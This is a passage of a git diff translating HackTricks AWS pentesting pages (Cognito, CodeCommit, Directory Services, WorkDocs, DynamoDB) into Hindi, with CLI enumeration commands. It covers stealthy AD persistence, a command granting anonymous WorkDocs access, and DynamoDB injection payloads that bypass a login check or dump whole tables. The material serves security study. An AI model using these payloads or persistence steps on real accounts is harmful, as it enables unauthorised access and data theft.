किया जा सकता है। -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +ध्यान दें कि भले ही एक समूह में एक IAM भूमिका संलग्न हो, उस समूह के IAM क्रेडेंशियल्स तक पहुँचने के लिए आवश्यक है कि **उपयोगकर्ता पूल को एक पहचान पूल द्वारा विश्वसनीय होना चाहिए** (और उस पहचान पूल के विवरण को जानना चाहिए)। -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +जब एक उपयोगकर्ता उपयोगकर्ता पूल में प्रमाणित होता है (`aws cognito-idp initiate-auth...`), तो **IdToken में निर्दिष्ट IAM भूमिका** प्राप्त करने के लिए एक और आवश्यकता है कि **पहचान प्रदाता प्रमाणीकरण प्रदाता** को यह संकेत देना चाहिए कि **भूमिका को टोकन से चुना जाना चाहिए।**
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +एक उपयोगकर्ता के पास पहुँचने के लिए **भूमिकाएँ** **`IdToken`** के अंदर होती हैं, और एक उपयोगकर्ता **`--custom-role-arn`** के साथ **क्रेडेंशियल्स के लिए वह भूमिका चुन सकता है** `aws cognito-identity get-credentials-for-identity`।\ +हालांकि, यदि **डिफ़ॉल्ट विकल्प** वह है जो **कॉन्फ़िगर किया गया है** (`डिफ़ॉल्ट भूमिका का उपयोग करें`), और आप IdToken से एक भूमिका तक पहुँचने का प्रयास करते हैं, तो आपको **त्रुटि** मिलेगी (इसलिए पिछले कॉन्फ़िगरेशन की आवश्यकता है): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> ध्यान दें कि **यूजर पूल ग्रुप** को सौंपा गया भूमिका **पहचान प्रदाता द्वारा सुलभ होना चाहिए** जो **यूजर पूल पर भरोसा करता है** (क्योंकि IAM भूमिका **सत्र क्रेडेंशियल्स इसे प्राप्त किए जाने वाले हैं**)। ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..0fbde245c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline को **डेटा के बड़े पैमाने पर पहुंच, रूपांतरण और कुशल स्थानांतरण** को सुविधाजनक बनाने के लिए डिज़ाइन किया गया है। यह निम्नलिखित कार्यों को करने की अनुमति देता है: -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **आपके डेटा तक पहुंचें जहां यह संग्रहीत है**: विभिन्न AWS सेवाओं में स्थित डेटा को सहजता से एक्सेस किया जा सकता है। +2. **बड़े पैमाने पर रूपांतरित और प्रोसेस करें**: बड़े पैमाने पर डेटा प्रोसेसिंग और रूपांतरण कार्यों को कुशलता से संभाला जाता है। +3. **परिणामों को कुशलता से स्थानांतरित करें**: प्रोसेस किया गया डेटा कई AWS सेवाओं में कुशलता से स्थानांतरित किया जा सकता है, जिसमें शामिल हैं: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +आसान शब्दों में, AWS Data Pipeline विभिन्न AWS कंप्यूट और स्टोरेज सेवाओं के बीच डेटा के आंदोलन और प्रोसेसिंग को सरल बनाता है, साथ ही ऑन-प्रिमाइसेस डेटा स्रोतों के साथ, निर्दिष्ट अंतराल पर। ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +In the following page you can check how to **datapipeline अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipeline एक पूरी तरह से प्रबंधित **निरंतर वितरण सेवा** है जो आपको **आपकी रिलीज पाइपलाइनों को स्वचालित करने** में मदद करती है ताकि आप तेज और विश्वसनीय एप्लिकेशन और बुनियादी ढांचे के अपडेट कर सकें। CodePipeline आपके रिलीज़ प्रक्रिया के **बिल्ड, परीक्षण, और तैनाती चरणों** को स्वचालित करता है हर बार जब कोड में परिवर्तन होता है, आपके द्वारा परिभाषित रिलीज़ मॉडल के आधार पर। ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,7 +44,6 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +यह एक **संस्करण नियंत्रण सेवा** है, जो अमेज़न द्वारा होस्ट और पूरी तरह से प्रबंधित है, जिसका उपयोग डेटा (दस्तावेज़, बाइनरी फ़ाइलें, स्रोत कोड) को निजी रूप से संग्रहीत करने और उन्हें क्लाउड में प्रबंधित करने के लिए किया जा सकता है। -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +यह **उपयोगकर्ता के लिए Git को जानने और **अपने स्वयं के स्रोत नियंत्रण प्रणाली** का प्रबंधन करने की आवश्यकता को समाप्त करता है या अपनी अवसंरचना को ऊपर या नीचे स्केल करने की चिंता करता है। Codecommit सभी मानक **कार्यात्मकताओं का समर्थन करता है जो Git में पाई जा सकती हैं**, जिसका अर्थ है कि यह उपयोगकर्ता के वर्तमान Git-आधारित उपकरणों के साथ बिना किसी कठिनाई के काम करता है। ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## संदर्भ - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..ff3fd06d9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service for Microsoft Active Directory एक प्रबंधित सेवा है जो AWS Cloud में **एक निर्देशिका सेट अप, संचालित और स्केल करना** आसान बनाती है। यह वास्तविक **Microsoft Active Directory** पर आधारित है और अन्य AWS सेवाओं के साथ तंग एकीकृत है, जिससे आपके निर्देशिका-सचेत कार्यभार और AWS संसाधनों का प्रबंधन करना आसान हो जाता है। AWS Managed Microsoft AD के साथ, आप **अपने मौजूदा** Active Directory उपयोगकर्ताओं, समूहों और नीतियों का उपयोग करके अपने AWS संसाधनों तक पहुंच प्रबंधित कर सकते हैं। यह आपकी पहचान प्रबंधन को सरल बनाने और अतिरिक्त पहचान समाधानों की आवश्यकता को कम करने में मदद कर सकता है। AWS Managed Microsoft AD स्वचालित बैकअप और आपदा वसूली क्षमताएं भी प्रदान करता है, जिससे आपकी निर्देशिका की उपलब्धता और स्थिरता सुनिश्चित होती है। कुल मिलाकर, AWS Directory Service for Microsoft Active Directory आपको AWS Cloud में एक प्रबंधित, अत्यधिक उपलब्ध और स्केलेबल Active Directory सेवा प्रदान करके समय और संसाधनों की बचत करने में मदद कर सकता है। ### Options -Directory Services allows to create 5 types of directories: +Directory Services 5 प्रकार की निर्देशिकाएं बनाने की अनुमति देता है: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: जो एक नया **Microsoft AD in AWS** चलाएगा। आप व्यवस्थापक पासवर्ड सेट कर सकेंगे और VPC में DCs तक पहुंच प्राप्त कर सकेंगे। +- **Simple AD**: जो एक **Linux-Samba** Active Directory–अनुकूलित सर्वर होगा। आप व्यवस्थापक पासवर्ड सेट कर सकेंगे और VPC में DCs तक पहुंच प्राप्त कर सकेंगे। +- **AD Connector**: **आपके मौजूदा Microsoft Active Directory** के लिए निर्देशिका अनुरोधों को पुनर्निर्देशित करने के लिए एक प्रॉक्सी, बिना किसी जानकारी को क्लाउड में कैश किए। यह एक **VPC** में सुन रहा होगा और आपको **मौजूदा AD तक पहुंच के लिए क्रेडेंशियल्स देने की आवश्यकता होगी**। +- **Amazon Cognito User Pools**: यह Cognito User Pools के समान है। +- **Cloud Directory**: यह सबसे **सरल** है। एक **सर्वरलेस** निर्देशिका जहां आप उपयोग करने के लिए **स्कीमा** निर्दिष्ट करते हैं और **उपयोग के अनुसार बिल किया जाता है**। -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +AWS Directory services आपके मौजूदा **on-premises** Microsoft AD के साथ **सिंक्रनाइज़** करने, AWS में **अपना खुद का** चलाने या **अन्य निर्देशिका प्रकारों** के साथ सिंक्रनाइज़ करने की अनुमति देता है। ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +यहां आप AWS में अपना खुद का Microsoft AD बनाने के लिए एक अच्छा ट्यूटोरियल पा सकते हैं: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` - ### Login -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +ध्यान दें कि यदि **directory** का **description** फ़ील्ड **`AccessUrl`** में एक **domain** शामिल है, तो इसका मतलब है कि एक **user** शायद अपने **AD credentials** के साथ कुछ **AWS services** में **login** कर सकता है: - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the ### Using an AD user -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +एक **AD user** को **AWS management console** पर **access** देने के लिए एक Role दिया जा सकता है। **डिफ़ॉल्ट उपयोगकर्ता नाम Admin** है और इसे AWS console से **password** बदलना संभव है। -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +इसलिए, **Admin का password बदलना**, **एक नया user बनाना** या **एक user का password बदलना** और उस user को access बनाए रखने के लिए एक Role देना संभव है।\ +यह भी संभव है कि **AD के अंदर एक group में एक user को जोड़ें** और **उस AD group को एक Role तक पहुँच दें** (इस persistence को अधिक stealthy बनाने के लिए)। ### Sharing AD (from victim to attacker) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +एक victim से एक attacker को AD environment साझा करना संभव है। इस तरह attacker AD env तक पहुँच जारी रख सकेगा।\ +हालांकि, इसका मतलब है कि प्रबंधित AD को साझा करना और एक VPC peering connection बनाना भी शामिल है। -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +आप यहाँ एक गाइड पा सकते हैं: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~Sharing AD (from attacker to victim)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +यह संभव नहीं लगता कि एक अलग AD env से उपयोगकर्ताओं को एक AWS खाते में AWS access दिया जा सके। ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs एक क्लाउड-आधारित **file storage and sharing service** है। यह AWS के क्लाउड कंप्यूटिंग सेवाओं के सूट का हिस्सा है और संगठनों के लिए फ़ाइलों और दस्तावेज़ों को स्टोर, साझा और सहयोग करने के लिए एक सुरक्षित और स्केलेबल समाधान प्रदान करने के लिए डिज़ाइन किया गया है। -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. +AWS WorkDocs उपयोगकर्ताओं को अपनी फ़ाइलों और दस्तावेज़ों को अपलोड, एक्सेस और प्रबंधित करने के लिए एक वेब-आधारित इंटरफ़ेस प्रदान करता है। यह संस्करण नियंत्रण, वास्तविक समय सहयोग, और अन्य AWS सेवाओं और तृतीय-पक्ष उपकरणों के साथ एकीकरण जैसी सुविधाएँ भी प्रदान करता है। ### Enumeration - ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,15 +106,10 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-workdocs-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..0395df968 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, जो MongoDB के साथ संगतता प्रदान करता है, एक **तेज़, विश्वसनीय, और पूरी तरह से प्रबंधित डेटाबेस सेवा** के रूप में प्रस्तुत किया गया है। इसे तैनाती, संचालन, और स्केलेबिलिटी में सरलता के लिए डिज़ाइन किया गया है, यह **क्लाउड में MongoDB-संगत डेटाबेस के निर्बाध माइग्रेशन और संचालन** की अनुमति देता है। उपयोगकर्ता इस सेवा का लाभ उठाकर अपने मौजूदा एप्लिकेशन कोड को निष्पादित कर सकते हैं और परिचित ड्राइवरों और उपकरणों का उपयोग कर सकते हैं, जिससे MongoDB के साथ काम करने के समान एक सुगम संक्रमण और संचालन सुनिश्चित होता है। ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` - ### NoSQL Injection -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +चूंकि DocumentDB एक MongoDB संगत डेटाबेस है, आप कल्पना कर सकते हैं कि यह सामान्य NoSQL इंजेक्शन हमलों के प्रति भी संवेदनशील है: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -40,7 +38,3 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..42d6def28 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,28 +6,27 @@ ### Basic Information -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDB को AWS द्वारा एक **पूर्ण रूप से प्रबंधित, सर्वर रहित, की-मान NoSQL डेटाबेस** के रूप में प्रस्तुत किया गया है, जो उच्च प्रदर्शन वाले अनुप्रयोगों को उनके आकार की परवाह किए बिना शक्ति प्रदान करने के लिए तैयार किया गया है। यह सेवा मजबूत सुविधाओं की गारंटी देती है, जिसमें अंतर्निहित सुरक्षा उपाय, निरंतर बैकअप, कई क्षेत्रों में स्वचालित प्रतिकृति, एकीकृत इन-मेमोरी कैशिंग, और सुविधाजनक डेटा निर्यात उपयोगिताएँ शामिल हैं। -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +DynamoDB के संदर्भ में, पारंपरिक डेटाबेस स्थापित करने के बजाय, **तालिकाएँ बनाई जाती हैं**। प्रत्येक तालिका को **तालिका की प्राथमिक कुंजी** के एक अभिन्न घटक के रूप में **पार्टीशन कुंजी** के विनिर्देशन की आवश्यकता होती है। यह पार्टीशन कुंजी, जो मूलतः एक **हैश मान** है, वस्तुओं की पुनर्प्राप्ति और विभिन्न होस्टों के बीच डेटा के वितरण में महत्वपूर्ण भूमिका निभाती है। यह वितरण डेटाबेस की स्केलेबिलिटी और उपलब्धता बनाए रखने के लिए महत्वपूर्ण है। इसके अतिरिक्त, डेटा संगठन को और अधिक परिष्कृत करने के लिए **सॉर्ट कुंजी** को शामिल करने का विकल्प भी है। ### Encryption -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +डिफ़ॉल्ट रूप से, DynamoDB एक KMS कुंजी का उपयोग करता है जो **Amazon DynamoDB की है,** न कि AWS प्रबंधित कुंजी जो कम से कम आपके खाते की है।
### Backups & Export to S3 -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +**तालिका बैकअप** के निर्माण को **अनुसूचित** करना या **मांग पर** बनाना संभव है। इसके अलावा, एक तालिका के लिए **पॉइंट-इन-टाइम रिकवरी (PITR)** सक्षम करना भी संभव है। पॉइंट-इन-टाइम रिकवरी आपके DynamoDB डेटा के निरंतर **बैकअप** प्रदान करती है **35 दिनों** के लिए ताकि आप आकस्मिक लेखन या हटाने के संचालन से सुरक्षा कर सकें। -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +**S3** में तालिका के **डेटा का निर्यात** करना भी संभव है, लेकिन तालिका को **PITR सक्षम** होना चाहिए। ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +स्थानीय Dynamo सेवाओं के लिए एक GUI है जैसे [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), आदि, जो उपयोगी हो सकते हैं: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) ### Enumeration - ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,129 +53,112 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### अनधिकृत पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### स्थिरता {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## DynamoDB इंजेक्शन -### SQL Injection +### SQL इंजेक्शन -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +DynamoDB डेटा तक पहुँचने के लिए **SQL सिंटैक्स** के साथ तरीके हैं, इसलिए, सामान्य **SQL इंजेक्शन भी संभव हैं**। {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### NoSQL इंजेक्शन -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +DynamoDB में विभिन्न **शर्तें** डेटा प्राप्त करने के लिए उपयोग की जा सकती हैं, जैसे कि एक सामान्य NoSQL इंजेक्शन में यदि **डेटा प्राप्त करने के लिए अधिक शर्तों को जोड़ना संभव है** तो आप छिपा हुआ डेटा प्राप्त कर सकते हैं (या पूरी तालिका को डंप कर सकते हैं)।\ +आप यहाँ DynamoDB द्वारा समर्थित शर्तें पा सकते हैं: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +ध्यान दें कि **विभिन्न शर्तें** समर्थित हैं यदि डेटा **`query`** के माध्यम से या **`scan`** के माध्यम से पहुँचाया जा रहा है। > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> वास्तव में, **Query** क्रियाओं को काम करने के लिए **प्राथमिक** कुंजी में **शर्त "EQ" (बराबर)** निर्दिष्ट करने की आवश्यकता होती है, जिससे यह **NoSQL इंजेक्शन के लिए कम संवेदनशील** हो जाता है (और ऑपरेशन को बहुत सीमित भी बनाता है)। +यदि आप **तुलना** को बदल सकते हैं या नए जोड़ सकते हैं, तो आप अधिक डेटा प्राप्त कर सकते हैं। ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### कच्चा Json इंजेक्शन > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **यह भेद्यता dynamodb Scan Filter पर आधारित है जो अब अप्रचलित है!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB** **Json** ऑब्जेक्ट्स को DB के अंदर डेटा **खोजने** के लिए स्वीकार करता है। यदि आप पाते हैं कि आप खोजने के लिए भेजे गए json ऑब्जेक्ट में लिख सकते हैं, तो आप DB का डंप बना सकते हैं, सभी सामग्री। +उदाहरण के लिए, एक अनुरोध में इंजेक्ट करना जैसे: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +एक हमलावर कुछ इस तरह इंजेक्ट कर सकता है: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +"EQ" स्थिति को ठीक करें जो ID 1000 के लिए खोज कर रहा है और फिर सभी डेटा के लिए देख रहा है जिनका Id स्ट्रिंग 0 से बड़ा है, जो कि सभी है। +एक **कमजोर उदाहरण लॉगिन का** हो सकता है: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +यह निम्नलिखित के प्रति संवेदनशील होगा: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +कुछ SDKs एक स्ट्रिंग का उपयोग करने की अनुमति देते हैं जो प्रदर्शन किए जाने वाले फ़िल्टरिंग को इंगित करती है जैसे: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +आपको यह जानना आवश्यक है कि DynamoDB में **फिल्टर 